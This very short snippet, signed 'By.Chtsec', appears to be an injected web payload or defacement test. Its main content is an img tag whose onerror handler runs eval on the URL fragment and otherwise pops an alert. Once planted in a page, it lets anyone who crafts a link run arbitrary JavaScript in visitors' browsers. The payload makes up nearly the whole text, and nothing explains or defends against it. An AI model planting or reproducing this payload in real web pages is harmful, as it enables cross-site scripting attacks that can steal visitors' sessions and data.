Hello word. By.Chtsec
<img src="xxx://" onerror="if(location.hash){eval(location.hash.slice(1))}else{alert('chtsec')}">